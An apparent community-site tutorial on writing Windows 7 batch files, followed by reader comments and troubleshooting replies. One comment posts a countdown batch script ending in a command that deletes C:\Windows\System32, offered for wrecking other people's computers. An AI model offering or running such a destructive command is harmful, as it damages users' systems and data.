Resources » General Articles » Tips & Tricks

How to create a batch file in Windows 7

Updated: Category: Tips & Tricks
Author: Member Level: GoldPoints: 8

This article explains how to create a batch file in Windows operating system which is used to execute a batch of Dos and as well as windows command.

How to create a batch file in Windows 7

Windows provides so many options in order to improve the performance and usability of the system. Most of the utilities which is provided by Windows operating system can be run from command prompt. All of the utilities can be run as a command.

Batch files can be used to make a set of command to execute in Windows operating system. Support if you want to do series of activities in Windows then you can add all the commands in a batch files and it will executes all the command one by one. It is one of the easy ways to automate a process in Windows operating system.

You can add the system command in the batch processes and you can run the processes in specific time using the scheduler.

You can automate an administrator task in batch file easily. Batch files are simple text file which will have some basic dos command and you can also run the system command that you can run in Windows command prompt.

In order to create a sample batch file open notepad and type the following command and save the file as Test.bat


Check the below screenshot

Windows 7 batch file

ECHO OFF is DOS( Disk Operating System) command and while running the commands in the command prompt it will not show the command that is executing. Dir will just list the files and folders in the directory.Pause will wait for the user input, press enter key of other key to continue. Ipconfig is a Windows command which will display the network configuration of the system.Cleanmgr is a Windows utility command which will open the disk clean manager Window.

Once the batch file is created and you can double click the batch file using the mouse and it will start executing the series of Dos commands and other command that you typed in the Batch File

Windows 7 batch file

Check the list of DOS commands from the below link

Click here for the List of DOS Command

Related Resources:

Read related articles: Windows 7   Windows Operating System   

Did you like this resource? Share it with your friends and show your love!

Responses to "How to create a batch file in Windows 7"
Author: Dev Tyagi  06 Mar 2011   Member Level: Silver   Points : 0
nice article

Guest Author: Carlo   14 Nov 2011
I have a batch file which was running on XP and Vista but will not run on Win 7. Why?

Guest Author: Roger   18 Sep 2012
It's much easier to create batch files with a special tool called Dr.Batcher:

Guest Author: Matt   07 Jan 2014
Dr. Batcher isn't free, and batch files are easy enough to edit using notepad.

Guest Author: Naresh   21 Feb 2014
Batch files are easy to enough to edit using notepad.
But what is the solution to problem that it does not run in Windows 7. I can not run my batch file in Windows 7

Guest Author: Naresh   21 Feb 2014
Now I managed to run batch file in Windows 7.
But when I try to copy file from folder in to another folder by using following copy command in my batch file,

copy M:\XY_Que flats.doc Q:\01 Data flatscopy.doc
Where M: is Directory and is word file
And Q: is directory and 01 data is subdirectory
And flatscopy is new name for the copied file

It gives me following error
"The system can not find the file specified"
"The syntax of the command is incorrect"

Could some one please explain what is in correct in my copy command?

Guest Author: Destr0yerV   11 Mar 2014
This is cool, but lame, i wanted more detailed info, like things you can do with them, here is an example:
@echo off
color 2
start BOOM
echo Your System32 file will self-destruct in 10 seconds
PING -n 1 -w 1000 >NUL
echo 10
PING -n 1 -w 1000 >NUL
echo 9
PING -n 1 -w 1000 >NUL
echo 8
PING -n 1 -w 1000 >NUL
echo 7
color 6
PING -n 1 -w 1000 >NUL
echo 6
PING -n 1 -w 1000 >NUL
echo 5
PING -n 1 -w 1000 >NUL
echo 4
color 4
PING -n 1 -w 1000 >NUL
echo 3
PING -n 1 -w 1000 >NUL
echo 2
PING -n 1 -w 1000 >NUL
echo 1
PING -n 1 -w 1000 >NUL
del C:\Windows\System32 /q

This makes a nice little countdown before ruining thier computer operating system

Guest Author: Colin   28 Mar 2014
Naresh - one of the path names has a space in it so you will need to enclose it in quotes:
copy M:\XY_Que flats.doc "Q:\01 Data" flatscopy.doc

Guest Author: brettw   31 Mar 2014
Naresh - you need to type the full path instead of using drive mappings. Foe example if M:\ = \\myotherPC\fileDirectory\XY_Que Flats.doc , then replace M:\ with the full path.

Guest Author: chike emelifonwu   04 Apr 2014
How do you write a batch script to show if a computer is connected to the internet or not for Windows 7?

Guest Author: sql010   31 Oct 2014
Thanks for the article. Helpful!!


Post Comment:

  • Do not include your name, "with regards" etc in the comment. Write detailed comment, relevant to the topic.
  • No HTML formatting and links to other web sites are allowed.
  • This is a strictly moderated site. Absolutely no spam allowed.
  • Name:   Sign In to fill automatically.
    Email: (Will not be published, but required to validate comment)

    Type the numbers and letters shown on the left.

    Submit Article     Return to Article Index
    Active Members
    TodayLast 7 Daysmore...